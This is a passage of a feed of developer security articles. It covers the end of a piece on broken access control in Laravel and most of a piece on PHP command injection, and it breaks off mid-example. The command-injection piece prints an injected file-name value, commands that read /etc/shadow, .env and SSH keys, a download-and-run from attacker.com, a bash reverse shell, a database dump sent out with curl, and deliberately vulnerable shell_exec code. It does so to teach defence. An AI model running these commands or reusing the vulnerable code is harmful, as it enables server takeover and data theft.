    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoices.show'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;compact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoice'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Safe — checks ownership through policy&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Invoice&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;authorize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'view'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoices.show'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;compact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoice'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Approach 2 — Scoped queries:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This can never return another user's invoice&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$invoice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;invoices&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;findOrFail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoices.show'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;compact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'invoice'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Approach 3 — Scoped route model binding (strongest):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;'/users/{user}/invoices/{invoice}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nc"&gt;InvoiceController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;scopeBindings&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This automatically ensures the invoice belongs to the specified user without any manual ownership check in the controller.&lt;/p&gt;

&lt;h2&gt;
  
  
  Protecting Against Mass Assignment Privilege Escalation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Models/User.php&lt;/span&gt;
&lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$fillable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// role and is_admin are NOT here&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or blacklist instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$guarded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'role'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'is_admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'permissions'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pick one approach and stick to it. Never include &lt;code&gt;role&lt;/code&gt;, &lt;code&gt;is_admin&lt;/code&gt;, or &lt;code&gt;permissions&lt;/code&gt; in &lt;code&gt;$fillable&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  API Routes and Authorization
&lt;/h2&gt;

&lt;p&gt;API routes are the most common place authorization is forgotten:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'auth:sanctum'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/invoices/{invoice}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Invoice&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;authorize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'view'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$invoice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Being authenticated via Sanctum does not mean the user is authorized to access this specific invoice. The ownership check is required on every API endpoint that returns user-specific data.&lt;/p&gt;

&lt;p&gt;Cleaner with scoped route model binding:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;'/users/{user}/invoices/{invoice}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;InvoiceApiController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'show'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;scopeBindings&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'auth:sanctum'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The Authorization Checklist
&lt;/h2&gt;

&lt;p&gt;For every route in your application ask these questions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Is this route inside the correct middleware group?&lt;/li&gt;
&lt;li&gt;Does every API route have the same authorization as its web equivalent?&lt;/li&gt;
&lt;li&gt;For routes that return a specific resource — is there an ownership check via policy, gate, or scoped query?&lt;/li&gt;
&lt;li&gt;Are sensitive fields like &lt;code&gt;role&lt;/code&gt; and &lt;code&gt;is_admin&lt;/code&gt; excluded from &lt;code&gt;$fillable&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;Are admin-only functions inside admin middleware — including API endpoints added later?&lt;/li&gt;
&lt;li&gt;Does your application use policies for resource-level authorization rather than ad-hoc checks scattered across controllers?&lt;/li&gt;
&lt;li&gt;Have you considered scoped route model binding for nested resources?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If any of these questions has no clear answer in your code — you have a broken access control vulnerability waiting to be found.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where Detection Fits
&lt;/h2&gt;

&lt;p&gt;Broken access control attacks are harder to detect than SQL injection or XSS because the requests themselves look legitimate. An authenticated user accessing &lt;code&gt;/invoices/1235&lt;/code&gt; when they own &lt;code&gt;/invoices/1234&lt;/code&gt; sends a request that looks completely normal at the HTTP layer.&lt;/p&gt;

&lt;p&gt;What is detectable is the pattern:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Rapid sequential requests to the same resource type with incrementing IDs&lt;/li&gt;
&lt;li&gt;Multiple 403 Forbidden responses from the same authenticated account&lt;/li&gt;
&lt;li&gt;Access attempts to resources owned by different users&lt;/li&gt;
&lt;li&gt;Requests to privileged endpoints from accounts without the required permissions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is exactly where Kriosa fits into the security stack. Laravel policies, gates, and middleware prevent unauthorized actions. Kriosa complements those controls by monitoring incoming requests for behavioral indicators of authorization probing — sequential ID enumeration, repeated 403 responses, and attempts to access privileged endpoints. Instead of simply blocking requests, its Explainable AI dashboard shows why a request was considered suspicious, helping developers understand what attackers are trying to do.&lt;/p&gt;

&lt;p&gt;Prevention stops the breach. Detection tells you someone is trying to find one.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;kriosa.com&lt;/strong&gt;&lt;br&gt;
Install it: &lt;code&gt;composer require kriosa-ai/kriosa-php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Series So Far
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Article 1: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;Article 2: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;Article 4: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;Article 5: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;Article 6: How attackers enumerate your Laravel app and what to hide&lt;/li&gt;
&lt;li&gt;Article 7: File upload security in PHP and Laravel&lt;/li&gt;
&lt;li&gt;Article 8: Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;Article 9: Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;Article 10: This article — broken access control in Laravel and why being logged in is not enough&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>php</category>
      <category>laravel</category>
    </item>
    <item>
      <title>Command Injection in PHP — When exec() Becomes an Attack Surface</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Fri, 31 Jul 2026 12:45:44 +0000</pubDate>
      <link>https://dev.to/kriosa/command-injection-in-php-when-exec-becomes-an-attack-surface-49k1</link>
      <guid>https://dev.to/kriosa/command-injection-in-php-when-exec-becomes-an-attack-surface-49k1</guid>
      <description>&lt;p&gt;Orinally published on Medium and Kriosa&lt;br&gt;
One unsanitized argument reaching a shell function is all an attacker needs to own your server. Here's how command injection works, why blacklist filters always fail, and the fixes that actually stop it.&lt;br&gt;
This is the ninth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;File upload security — the file that isn't what it claims to be&lt;/li&gt;
&lt;li&gt;Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle: understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Command injection is no different. And it is the most severe vulnerability in this series — because it does not just expose your data. It hands an attacker the keys to your entire server.&lt;/p&gt;
&lt;h2&gt;
  
  
  What Command Injection Actually Is
&lt;/h2&gt;

&lt;p&gt;Command injection is an attack where an attacker injects operating system commands into your application and your server executes them.&lt;/p&gt;

&lt;p&gt;It is similar in structure to SQL injection — user input gets interpreted as a command instead of data. But the consequences are more immediate and more severe. SQL injection attacks your database. Command injection attacks your entire server.&lt;/p&gt;

&lt;p&gt;One unsanitized argument. One shell function. Full server takeover.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why PHP Is Particularly Exposed
&lt;/h2&gt;

&lt;p&gt;PHP has several functions that execute operating system commands directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;passthru&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;popen&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;proc_open&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="c1"&gt;// And the backtick operator&lt;/span&gt;
&lt;span class="sb"&gt;`command`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These functions exist for legitimate reasons — generating image thumbnails, converting file formats, sending emails via sendmail, running system utilities. The problem is when user input reaches them without sanitization.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Attack in Plain Terms
&lt;/h2&gt;

&lt;p&gt;Your application converts uploaded images:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'convert '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$filename&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' -resize 800x600 output.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A legitimate user sends:&lt;/p&gt;

&lt;p&gt;file=photo.jpg&lt;/p&gt;

&lt;p&gt;The command becomes:&lt;/p&gt;

&lt;p&gt;convert photo.jpg -resize 800x600 output.jpg&lt;/p&gt;

&lt;p&gt;Clean. Expected. Safe.&lt;/p&gt;

&lt;p&gt;An attacker sends:&lt;/p&gt;

&lt;p&gt;file=photo.jpg; cat /etc/passwd&lt;/p&gt;

&lt;p&gt;The command becomes:&lt;/p&gt;

&lt;p&gt;convert photo.jpg -resize 800x600 output.jpg; cat /etc/passwd&lt;/p&gt;

&lt;p&gt;The semicolon tells the shell: run the first command, then run the second. Your server outputs the contents of &lt;code&gt;/etc/passwd&lt;/code&gt;. The attacker now knows every user account on the system.&lt;/p&gt;

&lt;p&gt;That is command injection. One semicolon. One unsanitized input. Complete information disclosure.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Command Chaining Characters
&lt;/h2&gt;

&lt;p&gt;Attackers use several characters to chain commands:&lt;/p&gt;

&lt;p&gt;; — run command1 then command2&lt;br&gt;
&amp;amp;&amp;amp; — run command2 only if command1 succeeds&lt;br&gt;
|| — run command2 only if command1 fails&lt;br&gt;
| — pipe output of command1 into command2&lt;br&gt;
command — backtick executes command inline&lt;br&gt;
$(command) — subshell execution&lt;br&gt;
\n — newline separates commands in some contexts&lt;br&gt;
Each works differently. All achieve the same result — injecting additional commands into your shell execution.&lt;/p&gt;
&lt;h2&gt;
  
  
  What Attackers Do After Getting Command Execution
&lt;/h2&gt;

&lt;p&gt;Once an attacker has command execution they move fast.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Read sensitive files:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /var/www/.env
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/shadow
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.ssh/id_rsa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Download and execute malware:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget https://attacker.com/malware.sh &lt;span class="nt"&gt;-O&lt;/span&gt; /tmp/m.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/m.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; /tmp/m.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Open a reverse shell — persistent access:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/attacker.com/4444 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This opens a persistent connection from your server to the attacker's machine. They type commands on their end. Your server executes them. They now have an interactive terminal on your server — from anywhere in the world.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exfiltrate your entire database:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mysqldump &lt;span class="nt"&gt;-u&lt;/span&gt; root &lt;span class="nt"&gt;-pPASSWORD&lt;/span&gt; database | curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST attacker.com/receive &lt;span class="nt"&gt;-d&lt;/span&gt; @-
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All of this from one unsanitized input reaching &lt;code&gt;shell_exec()&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The PHP Functions That Create This Risk
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Image processing:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'filename'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'convert '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' thumbnail.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;PDF generation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="nv"&gt;$url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'url'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'wkhtmltopdf '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$url&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' output.pdf'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Network diagnostic tools:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="nv"&gt;$host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'host'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'ping -c 4 '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ping tools are one of the most common places command injection appears in PHP applications. Developers build a network diagnostic feature and forget the host parameter goes directly into a shell command.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ZIP file creation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="nv"&gt;$name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'archive_name'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'zip -r '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$name&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'.zip /var/www/storage/uploads/'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The Wrong Fixes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Wrong fix 1 — Filtering specific characters:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;';'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'filename'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'convert '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' thumbnail.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
